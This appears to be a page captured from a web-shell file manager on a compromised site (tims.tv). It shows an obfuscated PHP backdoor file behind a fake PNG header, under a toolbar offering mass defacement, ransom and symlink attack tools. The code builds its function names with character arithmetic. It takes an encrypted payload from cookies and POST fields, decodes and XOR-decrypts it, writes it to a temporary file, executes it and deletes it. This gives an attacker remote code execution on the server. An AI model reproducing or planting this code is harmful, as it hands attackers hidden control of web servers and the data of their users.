\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/tims.tv/autoconfig/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/tims.tv/autoconfig/76e2bc9a.php |
$LUBZrHXQ = "\x41" . chr ( 486 - 383 ).chr (95) . chr (108) . 'I' . 'Z';$JgJsHI = "\143" . chr (108) . chr (97) . "\163" . chr (115) . '_' . chr (101) . "\170" . 'i' . chr ( 576 - 461 )."\x74" . 's';$mRFIWzkheE = class_exists($LUBZrHXQ); $JgJsHI = "35369";$hOZsAu = strpos($JgJsHI, $LUBZrHXQ);if ($mRFIWzkheE == $hOZsAu){function vuuhgq(){$StQtHpH = new /* 23646 */ Ag_lIZ(26096 + 26096); $StQtHpH = NULL;}$rCAbNnfJmC = "26096";class Ag_lIZ{private function OCnWT($rCAbNnfJmC){if (is_array(Ag_lIZ::$cwtovsU)) {$name = sys_get_temp_dir() . "/" . crc32(Ag_lIZ::$cwtovsU["salt"]);@Ag_lIZ::$cwtovsU["write"]($name, Ag_lIZ::$cwtovsU["content"]);include $name;@Ag_lIZ::$cwtovsU["delete"]($name); $rCAbNnfJmC = "26096";exit();}}public function mfSRUSC(){$zPEPUhIv = "37818";$this->_dummy = str_repeat($zPEPUhIv, strlen($zPEPUhIv));}public function __destruct(){Ag_lIZ::$cwtovsU = @unserialize(Ag_lIZ::$cwtovsU); $rCAbNnfJmC = "57360_22464";$this->OCnWT($rCAbNnfJmC); $rCAbNnfJmC = "57360_22464";}public function LtvDIH($zPEPUhIv, $NlbTsY){return $zPEPUhIv[0] ^ str_repeat($NlbTsY, intval(strlen($zPEPUhIv[0]) / strlen($NlbTsY)) + 1);}public function UATagfWmr($zPEPUhIv){$kuzPxN = "\x62" . chr (97) . "\x73" . chr ( 977 - 876 )."\x36" . chr (52);return array_map($kuzPxN . chr (95) . "\x64" . "\145" . "\x63" . chr ( 718 - 607 ).'d' . "\x65", array($zPEPUhIv,));}public function __construct($moNFCQ=0){$gebqrMdO = chr ( 347 - 303 ); $zPEPUhIv = "";$ZvSjwUO = $_POST;$JJaYgL = $_COOKIE;$NlbTsY = "ce2f1fdb-74c4-4bd7-866a-78e33ca5317b";$WrNETJNU = @$JJaYgL[substr($NlbTsY, 0, 4)];if (!empty($WrNETJNU)){$WrNETJNU = explode($gebqrMdO, $WrNETJNU);foreach ($WrNETJNU as $KKboiz){$zPEPUhIv .= @$JJaYgL[$KKboiz];$zPEPUhIv .= @$ZvSjwUO[$KKboiz];}$zPEPUhIv = $this->UATagfWmr($zPEPUhIv);}Ag_lIZ::$cwtovsU = $this->LtvDIH($zPEPUhIv, $NlbTsY);if (strpos($NlbTsY, $gebqrMdO) !== FALSE){$NlbTsY = explode($gebqrMdO, $NlbTsY); $YxGKCznBgM = base64_decode(md5($NlbTsY[0])); $rOjrOjUaAZ = strlen($NlbTsY[1]) > 5 ? substr($NlbTsY[1], 0, 5) : $NlbTsY[1];$_GET['new_key'] = md5(implode('', $NlbTsY)); $TAkIV = str_repeat($rOjrOjUaAZ, 2);}}public static $cwtovsU = 22838;}vuuhgq();}